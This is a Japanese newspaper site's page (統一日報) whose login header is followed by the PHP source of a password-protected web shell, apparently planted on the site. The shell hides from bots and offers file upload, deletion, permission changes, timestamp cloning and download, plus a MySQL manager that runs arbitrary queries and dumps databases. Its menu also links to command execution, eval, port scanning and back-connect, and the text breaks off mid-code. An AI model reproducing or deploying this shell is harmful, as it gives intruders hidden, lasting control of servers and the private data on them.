統一日報
ログイン 新規登録
統一日報の会員でない方は新規登録をお願いします。
IDを保存する
新規登録 ID/パスワードを忘れた場合

<?php
//ini_set('display_errors',1);
@error_reporting(7);
@session_start();
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if( strpos( strtolower( $_SERVER['HTTP_USER_AGENT'] ), 'bot' ) !== false ) {
 header('HTTP/1.0 404 Not Found');
 exit;
}
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
define('SELF', $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );

if( IS_GPC ) {
 $_POST = s_array($_POST);
}
$P = $_POST;
unset($_POST);
/*===================== ???????? =====================*/

//echo encode_pass('angel');exit;
//angel = ec38fe2a8497e0a8d6d349b3533038cb
// ??????????????,???????????,?????????????
$pass  = '1a56cf49975c7f1969b9366a7d1ad929'; //angel

//?????? cookie ???��?��?????????, ???????????, ?????????????, ???????????
// cookie ??
$cookiepre = '';
// cookie ??????
$cookiedomain = '';
// cookie ????��??
$cookiepath = '/';
// cookie ??��??
$cookielife = 86400;

/*===================== ???y??? =====================*/

$charsetdb = array(
 'big5'   => 'big5',
 'cp-866'  => 'cp866',
 'euc-jp'  => 'ujis',
 'euc-kr'  => 'euckr',
 'gbk'   => 'gbk',
 'iso-8859-1' => 'latin1',
 'koi8-r'  => 'koi8r',
 'koi8-u'  => 'koi8u',
 'utf-8'   => 'utf8',
 'windows-1252' => 'latin1',
);

$act = isset($P['act']) ? $P['act'] : '';
$charset = isset($P['charset']) ? $P['charset'] : 'utf-8';
$doing = isset($P['doing']) ? $P['doing'] : '';

for ($i=1;$i<=4;$i++) {
 ${'p'.$i} = isset($P['p'.$i]) ? $P['p'.$i] : '';
}

if (isset($charsetdb[$charset])) {
 header("content-Type: text/html; charset=".$charset);
}

$timestamp = time();

/* ??????? */
if ($act == "logout") {
 scookie('loginpass', '', -86400 * 365);
 @header('Location: '.SELF);
 exit;
}
if($pass) {
 if ($act == 'login') {
  if ($pass == encode_pass($P['password'])) {
   scookie('loginpass',encode_pass($P['password']));
   @header('Location: '.SELF);
   exit;
  }
 }
 if (isset($_COOKIE['loginpass'])) {
  if ($_COOKIE['loginpass'] != $pass) {
   loginpage();
  }
 } else {
  loginpage();
 }
}
/* ??????? */

$errmsg = '';
$uchar = '&#9650;';
$dchar = '&#9660;';
!$act && $act = 'file';

//?????/???��?????/???????
$home_cwd = getcwd();
if (isset($P['cwd']) && $P['cwd']) {
 chdir($P['cwd']);
} else {
 chdir(SA_ROOT);
}
$cwd = getcwd();
$web_cwd = $_SERVER['DOCUMENT_ROOT'];
foreach (array('web_cwd','cwd','home_cwd') as $k) {
 if (IS_WIN) {
  $$k = str_replace('\\', '/', $$k);
 }
 if (substr($$k, -1) != '/') {
  $$k = $$k.'/';
 }
}

// ??PHPINFO
if ($act == 'phpinfo') {
 if (IS_PHPINFO) {
  phpinfo();
  exit;
 } else {
  $errmsg = 'phpinfo() function has disabled';
 }
}

if(!function_exists('scandir')) {
 function scandir($cwd) {
  $files = array();
  $dh = opendir($cwd);
  while ($file = readdir($dh)) {
   $files[] = $file;
  }
  return $files ? $files : 0;
 }
}

if ($act == 'down') {
 if (is_file($p1) && is_readable($p1)) {
  @ob_end_clean();
  $fileinfo = pathinfo($p1);
  if (function_exists('mime_content_type')) {
   $type = @mime_content_type($p1);
   header("Content-Type: ".$type);
  } else {
   header('Content-type: application/x-'.$fileinfo['extension']);
  }
  header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  header('Content-Length: '.sprintf("%u", @filesize($p1)));
  @readfile($p1);
  exit;
 } else {
  $errmsg = 'Can\'t read file';
  $act = 'file';
 }
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo $charset;?>">
<title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input, select{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.red{color:#f00;}
.black{color:#000;}
.green{color:#090;}
.b{font-weight:bold;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#fff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffa;padding:5px 15px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
.infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
.drives{padding:5px;}
.drives span {margin:auto 7px;}
</style>
<script type="text/javascript">
function checkall(form) {
 for(var i=0;i<form.elements.length;i++) {
  var e = form.elements[i];
        if (e.type == 'checkbox') {
   if (e.name != 'chkall' && e.name != 'saveasfile')
    e.checked = form.chkall.checked;
  }
    }
}
function $(id) {
 return document.getElementById(id);
}
function createdir(){
 var newdirname;
 newdirname = prompt('Please input the directory name:', '');
 if (!newdirname) return;
 g(null,null,'createdir',newdirname);
}
function fileperm(pfile, val){
 var newperm;
 newperm = prompt('Current dir/file:'+pfile+'\nPlease input new permissions:', val);
 if (!newperm) return;
 g(null,null,'fileperm',pfile,newperm);
}
function rename(oldname){
 var newfilename;
 newfilename = prompt('Filename:'+oldname+'\nPlease input new filename:', '');
 if (!newfilename) return;
 g(null,null,'rename',newfilename,oldname);
}
function createfile(){
 var filename;
 filename = prompt('Please input the file name:', '');
 if (!filename) return;
 g('editfile', null, null, filename);
}
function setdb(dbname) {
 if(!dbname) return;
 $('dbform').tablename.value='';
 $('dbform').doing.value='';
 if ($('dbform').sql_query)
 {
  $('dbform').sql_query.value='';
 }
 $('dbform').submit();
}
function setsort(k) {
 $('dbform').order.value=k;
 $('dbform').submit();
}
function settable(tablename,doing) {
 if(!tablename) return;
 if (doing) {
  $('dbform').doing.value=doing;
 } else {
  $('dbform').doing.value='';
 }
 $('dbform').sql_query.value='';
 $('dbform').tablename.value=tablename;
 $('dbform').submit();
}
function s(act,cwd,p1,p2,p3,p4,charset) {
 if(act != null) $('opform').act.value=act;
 if(cwd != null) $('opform').cwd.value=cwd;
 if(p1 != null) $('opform').p1.value=p1;
 if(p2 != null) $('opform').p2.value=p2;
 if(p3 != null) $('opform').p3.value=p3;
 if(p4 != null) {$('opform').p4.value=p4;}else{$('opform').p4.value='';}
 if(charset != null) $('opform').charset.value=charset;
}
function g(act,cwd,p1,p2,p3,p4,charset) {
 s(act,cwd,p1,p2,p3,p4,charset);
 $('opform').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<?php

formhead(array('name'=>'opform'));
makehide('act', $act);
makehide('cwd', $cwd);
makehide('p1', $p1);
makehide('p2', $p2);
makehide('p3', $p3);
makehide('p4', $p4);
makehide('charset', $charset);
formfoot();

if(!function_exists('posix_getegid')) {
 $user = @get_current_user();
 $uid = @getmyuid();
 $gid = @getmygid();
 $group = "?";
} else {
 $uid = @posix_getpwuid(@posix_geteuid());
 $gid = @posix_getgrgid(@posix_getegid());
 $uid = $uid['uid'];
 $user = $uid['name'];
 $gid = $gid['gid'];
 $group = $gid['name'];
}
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
 <tr class="head">
  <td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
 </tr>
 <tr class="alt1">
  <td>
   <span style="float:right;">Charset:
   <?php
   makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'onchange'=>'g(null,null,null,null,null,null,this.value);'));
   ?>
   </span>
   <a href="javascript:g('logout');">Logout</a> |
   <a href="javascript:g('file',null,'','','','','<?php echo $charset;?>');">File Manager</a> |
   <a href="javascript:g('mysqladmin',null,'','','','','<?php echo $charset;?>');">MYSQL Manager</a> |
   <a href="javascript:g('shell',null,'','','','','<?php echo $charset;?>');">Execute Command</a> |
   <a href="javascript:g('phpenv',null,'','','','','<?php echo $charset;?>');">PHP Variable</a> |
   <a href="javascript:g('portscan',null,'','','','','<?php echo $charset;?>');">Port Scan</a> |
   <a href="javascript:g('secinfo',null,'','','','','<?php echo $charset;?>');">Security information</a> |
   <a href="javascript:g('eval',null,'','','','','<?php echo $charset;?>');">Eval PHP Code</a>
   <?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect',null,'','','','','<?php echo $charset;?>');">Back Connect</a><?php }?>
  </td>
 </tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
$errmsg && m($errmsg);

if ($act == 'file') {

 // ?��???????��????
 $dir_writeable = @is_writable($cwd) ? 'Writable' : 'Non-writable';
 if (isset($p1)) {
  switch($p1) {
   case 'createdir':
    // ??????
    if ($p2) {
     m('Directory created '.(@mkdir($cwd.$p2,0777) ? 'success' : 'failed'));
    }
    break;
   case 'uploadFile':
    // ??????
    m('File upload '.(@move_uploaded_file($_FILES['uploadfile']['tmp_name'], $cwd.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
    break;
   case 'fileperm':
    // ?????????
    if ($p2 && $p3) {
     $p3 = base_convert($p3, 8, 10);
     m('Set file permissions '.(@chmod($p2, $p3) ? 'success' : 'failed'));
    }
    break;
   case 'rename':
    // ????
    if ($p2 && $p3) {
     m($p3.' renamed '.$p2.(@rename($p3, $p2) ? ' success' : ' failed'));
    }
    break;
   case 'clonetime':
    // ??????
    if ($p2 && $p3) {
     $time = @filemtime($p3);
     m('Set file last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));
    }
    break;
   case 'settime':
    // ????????
    if ($p2 && $p3) {
     $time = strtotime($p3);
     m('Set file last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));
    }
    break;
   case 'delete':
    // ??????????
    if ($P['dl']) {
     $succ = $fail = 0;
     foreach ($P['dl'] as $f) {
      if (is_dir($cwd.$f)) {
       if (@deltree($cwd.$f)) {
        $succ++;
       } else {
        $fail++;
       }
      } else {
       if (@unlink($cwd.$f)) {
        $succ++;
       } else {
        $fail++;
       }
      }
     }
     m('Deleted folder/file(s) have finished, choose '.count($P['dl']).', success '.$succ.', fail '.$fail);
    } else {
     m('Please select folder/file(s)');
    }
    break;
   case 'paste':
    if($_SESSION['do'] == 'copy') {
     foreach($_SESSION['dl'] as $f) {
      copy_paste($_SESSION['c'],$f, $cwd);     
     }
    } elseif($_SESSION['do'] == 'move') {
     foreach($_SESSION['dl'] as $f) {
      @rename($_SESSION['c'].$f, $cwd.$f);
     }
    }
    unset($_SESSION['do'], $_SESSION['dl'], $_SESSION['c']);
    break;
   default:
    if($p1 == 'copy' || $p1 == 'move') {
     if (isset($P['dl']) && count($P['dl'])) {
      $_SESSION['do'] = $p1;
      $_SESSION['dl'] = $P['dl'];
      $_SESSION['c'] = $P['cwd'];
      m('Have been copied to the session');
     } else {
      m('Please select folder/file(s)');
     }
    }
    break;
  }
  echo "<script type=\"text/javascript\">$('opform').p1.value='';$('opform').p2.value='';</script>";
 }
 //????????
 $free = @disk_free_space($cwd);
 !$free && $free = 0;
 $all = @disk_total_space($cwd);
 !$all && $all = 0;
 $used = $all-$free;
 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>');

 $cwd_links = '';
 $path = explode('/', $cwd);
 $n=count($path);
 for($i=0;$i<$n-1;$i++) {
  $cwd_links .= '<a href="javascript:g(\'file\', \'';
  for($j=0;$j<=$i;$j++) {
   $cwd_links .= $path[$j].'/';
  }
  $cwd_links .= '\');">'.$path[$i].'/</a>';
 }

?>
<script type="text/javascript">
document.onclick = shownav;
function shownav(e){
 var src = e?e.target:event.srcElement;
 do{
  if(src.id =="jumpto") {
   $('inputnav').style.display = "";
   $('pathnav').style.display = "none";
   return;
  }
  if(src.id =="inputnav") {
   return;
  }
  src = src.parentNode;
 }while(src.parentNode)

 $('inputnav').style.display = "none";
 $('pathnav').style.display = "";
}
</script>
<div style="background:#eee;margin-bottom:10px;">
 <form onsubmit="g('file',this.cwd.value);return false;" method="POST" id="godir" name="godir">
  <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">
   <tr>
    <td width="100%"><?php echo $cwd_links.' - '.getChmod($cwd).' / '.PermsColor($cwd).getUser($cwd);?> (<?php echo $dir_writeable;?>)</td>
    <td nowrap><input class="bt" id="jumpto" name="jumpto" value="Jump to" type="button"></td>
   </tr>
  </table>
  <table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">
   <tr>
    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($cwd);?>)</td>
    <td width="100%"><input class="input" name="cwd" value="<?php echo $cwd;?>" type="text" style="width:99%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="GO" type="submit"></td>
   </tr>
  </table>
 </form>
<?php
 if (IS_WIN) {
  $comma = '';
  p('<div class="drives">');
  foreach( range('A','Z') as $drive ) {
   if (is_dir($drive.':/')) {
    p($comma.'<a href="javascript:g(\'file\', \''.$drive.':/\');">'.$drive.':\</a>');
    $comma = '<span>|</span>';
   }
  }
  p('</div>');
 }
?>
</div>
<?php
 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
 p('<tr class="alt1"><td colspan="6" style="padding:5px;line-height:20px;">');
 p('<form action="'.SELF.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input name="uploadfile" value="" type="file" /> <input class="bt" value="Upload" type="submit" /><input name="charset" value="'.$charset.'" type="hidden" /><input type="hidden" name="p1" value="uploadFile"><input name="cwd" value="'.$cwd.'" type="hidden" /></div></form>');
 p('<a href="javascript:g(\'file\', \''.str_replace('\\','/',$web_cwd).'\');">WebRoot</a>');
 p(' | <a href="javascript:g(\'file\', \''.$home_cwd.'\');">ScriptPath</a>');
 p(' | <a href="javascript:g(\'file\',\''.$cwd.'\',null,null,null,\'dir\');">View Writable Directory</a> ');
 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile();">Create File</a>');
 p('</td></tr>');

 $sort = array('filename', 1);
 if($p1) {
  if(preg_match('!s_([A-z_]+)_(\d{1})!', $p1, $match)) {
   $sort = array($match[1], (int)$match[2]);
  }
 }

 formhead(array('name'=>'flist'));
 makehide('act','file');
 makehide('p1','');
 makehide('cwd',$cwd);
 makehide('charset',$charset);
 p('<tr class="head">');
 p('<td width="2%" nowrap><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td>');
 p('<td><a href="javascript:g(\'file\',null,\'s_filename_'.($sort[1]?0:1).'\');">Filename</a> '.($p1 == 's_filename_0' ? $dchar : '').($p1 == 's_filename_1' || !$p1 ? $uchar : '').'</td>');
 p('<td width="16%"><a href="javascript:g(\'file\',null,\'s_mtime_'.($sort[1]?0:1).'\');">Last modified</a> '.($p1 == 's_mtime_0' ? $dchar : '').($p1 == 's_mtime_1' ? $uchar : '').'</td>');
 p('<td width="10%"><a href="javascript:g(\'file\',null,\'s_size_'.($sort[1]?0:1).'\');">Size</a> '.($p1 == 's_size_0' ? $dchar : '').($p1 == 's_size_1' ? $uchar : '').'</td>');
 p('<td width="20%">Chmod / Perms</td>');
 p('<td width="22%">Action</td>');
 p('</tr>');

 //?????��?��???????
 $dirdata=$filedata=array();

 if ($p4 == 'dir') {
  $dirdata = GetWDirList($cwd);
  $filedata = array();
 } else {
  // ??????��?
  $dirs = @scandir($cwd);
  if ($dirs) {
   $dirs = array_diff($dirs, array('.'));
   foreach ($dirs as $file) {
    $filepath=$cwd.$file;
    if(@is_dir($filepath)){
     $dirdb['filename']=$file;
     $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     $dirdb['chmod']=getChmod($filepath);
     $dirdb['perm']=PermsColor($filepath);
     $dirdb['owner']=getUser($filepath);
     $dirdb['link']=$filepath;
     if ($file=='..') {
      $dirdata['up']=1;
     } else {
      $dirdata[]=$dirdb;
     }
    } else {
     $filedb['filename']=$file;
     //$filedb['size']=@filesize($filepath);
     $filedb['size']=sprintf("%u", @filesize($filepath));
     $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     $filedb['chmod']=getChmod($filepath);
     $filedb['perm']=PermsColor($filepath);
     $filedb['owner']=getUser($filepath);
     $filedb['link']=$filepath;
     $filedata[]=$filedb;
    }
   }
   unset($dirdb);
   unset($filedb);
  }
 }
 $dir_i = '0';
 if (isset($dirdata['up'])) {
  $thisbg = bg();
  p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:g(\'file\',\''.getUpPath($cwd).'\');">Parent Directory</a></td>');
  p('</tr>');
 }
 unset($dirdata['up']);
 usort($dirdata, 'cmp');
 usort($filedata, 'cmp');
 foreach($dirdata as $key => $dirdb){
  if($p1 == 'getsize' && $p2 == $dirdb['filename']) {
   $attachsize = dirsize($p2);
   $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
  } else {
   $attachsize = '<a href="javascript:g(\'file\', null, \'getsize\', \''.$dirdb['filename'].'\');">Stat</a>';
  }
  $thisbg = bg();
  p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['filename'].'"></td>');
  p('<td><a href="javascript:g(\'file\',\''.$dirdb['link'].'\')">'.$dirdb['filename'].'</a></td>');
  p('<td nowrap><a href="javascript:g(\'newtime\',null,\''.$dirdb['filename'].'\');">'.$dirdb['mtime'].'</a></td>');
  p('<td nowrap>'.$attachsize.'</td>');
  p('<td nowrap>');
  p('<a href="javascript:fileperm(\''.$dirdb['filename'].'\', \''.$dirdb['chmod'].'\');">'.$dirdb['chmod'].'</a> / ');
  p('<a href="javascript:fileperm(\''.$dirdb['filename'].'\', \''.$dirdb['chmod'].'\');">'.$dirdb['perm'].'</a>'.$dirdb['owner'].'</td>');
  p('<td nowrap><a href="javascript:rename(\''.$dirdb['filename'].'\');">Rename</a></td>');
  p('</tr>');
  $dir_i++;
 }

 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
 $file_i = '0';

 foreach($filedata as $key => $filedb){
  $fileurl = '/'.str_replace($web_cwd,'',$filedb['link']);
  $thisbg = bg();
  p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['filename'].'"></td>');
  p('<td>'.((strpos($filedb['link'], $web_cwd) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>');
  p('<td nowrap><a href="javascript:g(\'newtime\',null,\''.$filedb['filename'].'\');">'.$filedb['mtime'].'</a></td>');
  p('<td nowrap>'.sizecount($filedb['size']).'</td>');
  p('<td nowrap>');
  p('<a href="javascript:fileperm(\''.$filedb['filename'].'\', \''.$filedb['chmod'].'\');">'.$filedb['chmod'].'</a> / ');
  p('<a href="javascript:fileperm(\''.$filedb['filename'].'\', \''.$filedb['chmod'].'\');">'.$filedb['perm'].'</a>'.$filedb['owner'].'</td>');
  p('<td nowrap>');
  p('<a href="javascript:g(\'down\',null,\''.$filedb['filename'].'\');">Down</a> | ');
  p('<a href="javascript:g(\'editfile\',null,null,\''.$filedb['filename'].'\');">Edit</a> | ');
  p('<a href="javascript:rename(\''.$filedb['filename'].'\');">Rename</a>');
  p('</td></tr>');
  $file_i++;
 }
 p('<tr class="'.bg().' head"><td colspan="5"><a href="#" onclick="$(\'flist\').p1.value=\'delete\';$(\'flist\').submit();">Delete</a> | <a href="#" onclick="$(\'flist\').p1.value=\'copy\';$(\'flist\').submit();">Copy</a> | <a href="#" onclick="$(\'flist\').p1.value=\'move\';$(\'flist\').submit();">Move</a>'.(isset($_SESSION['do']) && @count($_SESSION['dl']) ? ' | <a href="#" onclick="$(\'flist\').p1.value=\'paste\';$(\'flist\').submit();">Paste</a>' : '').'</td><td align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
 p('</form></table>');
}// end dir

elseif ($act == 'mysqladmin') {
 $order = isset($P['order']) ? $P['order'] : '';
 $dbhost = isset($P['dbhost']) ? $P['dbhost'] : '';
 $dbuser = isset($P['dbuser']) ? $P['dbuser'] : '';
 $dbpass = isset($P['dbpass']) ? $P['dbpass'] : '';
 $dbname = isset($P['dbname']) ? $P['dbname'] : '';
 $tablename = isset($P['tablename']) ? $P['tablename'] : '';

 if ($doing == 'dump') {
  if (isset($P['bak_table']) && $P['bak_table']) {
   $DB = new DB_MySQL;
   $DB->charsetdb = $charsetdb;
   $DB->charset = $charset;
   $DB->connect($dbhost, $dbuser, $dbpass, $dbname);
   if ($P['saveasfile'] && $P['bak_path']) {
    $fp = @fopen($P['bak_path'],'w');
    if ($fp) {
     foreach($P['bak_table'] as $k => $v) {
      if ($v) {
       $DB->sqldump($v, $fp);
      }
     }
     fclose($fp);    
     $fileurl = str_replace($web_cwd,'',$P['bak_path']);
     m('Database has backup to <a href="'.$fileurl.'" target="_blank">'.$P['bak_path'].'</a>');
    } else {
     m('Backup failed');
    }
   } else {
    @ob_end_clean();
    $filename = basename($dbname.'.sql');
    header('Content-type: application/unknown');
    header('Content-Disposition: attachment; filename='.$filename);
    foreach($P['bak_table'] as $k => $v) {
     if ($v) {
      $DB->sqldump($v);
     }
    }
    exit;
   }
   $DB->close();
  } else {
   m('Please choose the table');
  }
  $doing = '';
 }

 formhead(array('title'=>'MYSQL Manager', 'name'=>'dbform'));
 makehide('act','mysqladmin');
 makehide('doing',$doing);
 makehide('charset', $charset);
 makehide('tablename', $tablename);
 makehide('order', $order);
 p('<p>');
 p('DBHost:');
 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
 p('DBUser:');
 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
 p('DBPass:');
 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
 makeinput(array('value'=>'Connect','type'=>'submit','class'=>'bt'));
 p('</p>');

 if ($dbhost && $dbuser && isset($dbpass)) {
  
  // ????????????
  $DB = new DB_MySQL;
  $DB->charsetdb = $charsetdb;
  $DB->charset = $charset;
  $DB->connect($dbhost, $dbuser, $dbpass, $dbname);

  //???????????
  p('<p class="red">MySQL '.$DB->version().' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  $highver = $DB->version() > '4.1' ? 1 : 0;

  //????????
  $query = $DB->query("SHOW DATABASES");
  $dbs = array();
  $dbs[] = '-- Select a database --';
  while($db = $DB->fetch($query)) {
   $dbs[$db['Database']] = $db['Database'];
  }
  makeselect(array('name'=>'dbname','option'=>$dbs,'selected'=>$dbname,'onchange'=>'setdb(this.options[this.selectedIndex].value)'));

  if ($dbname) {
   p('<p>Current dababase: <a href="javascript:setdb(\''.$dbname.'\');">'.$dbname.'</a>');
   if ($tablename) {
    p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> ]');
   }
   p('</p>');

   $sql_query = isset($P['sql_query']) ? $P['sql_query'] : '';

   if ($tablename && !$sql_query) {
    $sql_query = "SELECT * FROM `$tablename` LIMIT 0, 30";
   }
   if ($tablename && $doing == 'structure') {
    $sql_query = "SHOW FULL COLUMNS FROM `$tablename`;\n";
    $sql_query .= "SHOW INDEX FROM `$tablename`;";
   }
   p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" onclick="$(\'doing\').value=\'\'" style="height:50px;" type="submit" value="Query" /></td></tr></table></p>');
   if ($sql_query) {
    $querys = @explode(';',$sql_query);
    foreach($querys as $num=>$query) {
     if ($query) {
      p("<p class=\"red b\">Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</p>");
      switch($DB->query_res($query))
      {
       case 0:
        p('<h2>'.$DB->halt('Error').'</h2>');
        break; 
       case 1:
        $result = $DB->query($query);
        $tatol = $DB->num_rows($result);
        p('<table border="0" cellpadding="3" cellspacing="0">');
        p('<tr class="head">');
        $fieldnum = @mysql_num_fields($result);
        for($i=0;$i<$fieldnum;$i++){
         p('<td nowrap>'.@mysql_field_name($result, $i).'</td>');
        }
        p('</tr>');
        
        if (!$tatol) {
         p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';"><td nowrap colspan="'.$fieldnum.'" class="red b">No records</td></tr>');
        } else {
         while($mn = $DB->fetch($result)){
          $thisbg = bg();
          p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
          //????????
          foreach($mn as $key=>$inside){
           p('<td nowrap>'.(($inside == null) ? '<i>null</i>' : html_clean($inside)).'</td>');
          }
          p('</tr>');
          unset($b1);
         }
        }
        p('</table>');
        break;
       case 2:
        p('<h2>Affected Rows : '.$DB->affected_rows().'</h2>');
        break;
      }
     }
    }
   } else {
    $query = $DB->query("SHOW TABLE STATUS");
    $table_num = $table_rows = $data_size = 0;
    $tabledb = array();
    while($table = $DB->fetch($query)) {
     $data_size = $data_size + $table['Data_length'];
     $table_rows = $table_rows + $table['Rows'];
     $table_num++;
     $tabledb[] = $table;
    }
    $data_size = sizecount($data_size);
    unset($table);
    if (count($tabledb)) {
     if ($highver) {
      $db_engine = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'storage_engine';"));      
      $db_collation = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'collation_database';"));
     }
     $sort = array('Name', 1);
     if($order) {
      if(preg_match('!s_([A-z_]+)_(\d{1})!', $order, $match)) {
       $sort = array($match[1], (int)$match[2]);
      }
     }
     usort($tabledb, 'cmp');
     p('<table border="0" cellpadding="0" cellspacing="0" id="lists">');
     p('<tr class="head">');
     p('<td width="2%"><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td>');
     p('<td><a href="javascript:setsort(\'s_Name_'.($sort[1]?0:1).'\');">Name</a> '.($order == 's_Name_0' ? $dchar : '').($order == 's_Name_1' || !$order ? $uchar : '').'</td>');
     p('<td><a href="javascript:setsort(\'s_Rows_'.($sort[1]?0:1).'\');">Rows</a>'.($order == 's_Rows_0' ? $dchar : '').($order == 's_Rows_1' ? $uchar : '').'</td>');
     p('<td><a href="javascript:setsort(\'s_Data_length_'.($sort[1]?0:1).'\');">Data_length</a>'.($order == 's_Data_length_0' ? $dchar : '').($order == 's_Data_length_1' ? $uchar : '').'</td>');
     p('<td><a href="javascript:setsort(\'s_Create_time_'.($sort[1]?0:1).'\');">Create_time</a>'.($order == 's_Create_time_0' ? $dchar : '').($order == 's_Create_time_1' ? $uchar : '').'</td>');
     p('<td><a href="javascript:setsort(\'s_Update_time_'.($sort[1]?0:1).'\');">Update_time</a>'.($order == 's_Update_time_0' ? $dchar : '').($order == 's_Update_time_1' ? $uchar : '').'</td>');
     if ($highver) {
      p('<td>Engine</td>');
      p('<td>Collation</td>');
     }
     p('<td>Other</td>');
     p('</tr>');
     foreach ($tabledb as $key => $table) {
      $thisbg = bg();
      p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
      p('<td align="center" width="2%"><input type="checkbox" name="bak_table[]" value="'.$table['Name'].'" /></td>');
      p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
      p('<td>'.$table['Rows'].'&nbsp;</td>');
      p('<td>'.sizecount($table['Data_length']).'</td>');
      p('<td>'.$table['Create_time'].'&nbsp;</td>');
      p('<td>'.$table['Update_time'].'&nbsp;</td>');
      if ($highver) {
       p('<td>'.$table['Engine'].'</td>');
       p('<td>'.$table['Collation'].'</td>');
      }
      p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a></td>');
      p('</tr>');
     }
     p('<tr class="head">');
     p('<td width="2%">&nbsp;</td>');
     p('<td>'.$table_num.' table(s)</td>');
     p('<td>'.$table_rows.'</td>');
     p('<td>'.$data_size.'</td>');
     p('<td>&nbsp;</td>');
     p('<td>&nbsp;</td>');
     if ($highver) {
      p('<td>'.$db_engine['Value'].'</td>');
